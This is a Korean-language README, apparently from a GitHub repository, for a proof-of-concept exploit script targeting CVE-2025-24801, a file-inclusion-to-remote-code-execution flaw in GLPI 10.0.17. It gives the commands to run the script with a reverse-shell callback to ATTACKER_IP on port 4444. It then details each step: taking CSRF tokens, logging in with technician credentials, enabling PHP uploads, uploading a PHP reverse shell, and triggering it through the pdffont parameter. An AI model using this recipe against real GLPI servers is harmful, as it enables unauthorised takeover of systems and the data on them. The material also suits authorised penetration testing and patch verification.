fatkz/cve-2025-24801GLPI 10.0.17의 LFI-to-RCE 취약점인 CVE-2025-24801에 대한 개념 증명 익스플로잇입니다. 로그인을 자동화하고, PHP 업로드를 활성화하며, 승인된 보안 테스트를 위해 리버스 셸을 업로드합니다.
이 저장소는 GLPI 10.0.17의 LFI-to-RCE 취약점인 CVE-2025-24801을 악용하는 개념 증명 스크립트(poc.py)를 포함합니다. 자동화하는 기능:
.php 업로드 활성화git clone https://github.com/fatkz/CVE-2025-24801.git
cd CVE-2025-24801
pip install -r requirements.txt
python3 poc.py \
--url https://target.example.com/glpi \
--user TECHNICIAN_USER \
--password "PASSWORD" \
--lhost ATTACKER_IP \
--lport 4444
--url: GLPI 인스턴스의 기본 URL (예: https://example.com/glpi)--user / --password: 유효한 GLPI 기술자 자격 증명--lhost / --lport: 리버스 셸 리스너를 위한 공격자 IP 및 포트스크립트는 기본적으로 첫 번째 문서 유형을 업데이트하기 위해 --doc-id 1을 자동으로 사용합니다.
실행 후 스크립트는 다음을 수행합니다:
.php 업로드 활성화exploit.php 업로드그런 다음 PDF 글꼴 포함(예: 보고서 내보내기 기능을 통해)에서 업로드된 파일 이름을 지정하여 수동으로 LFI를 트리거해야 RCE를 달성할 수 있습니다.
/front/login.php에서 CSRF 토큰을 추출하고 자격 증명을 POST하여 인증합니다./front/documenttype.form.php?id=1을 가져와 CSRF 토큰을 파싱하고 허용된 확장자에 php를 추가합니다./front/ticket.form.php에서 CSRF 토큰을 가져온 다음 /ajax/fileupload.php(X-Requested-With: XMLHttpRequest 포함)를 사용하여 PHP 리버스 셸을 업로드합니다.pdffont 매개변수에 업로드된 셸 파일 이름을 지정하여 수동으로 PDF 글꼴 LFI를 호출합니다.이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
교육 및 승인된 침투 테스트 목적으로 제작되었습니다.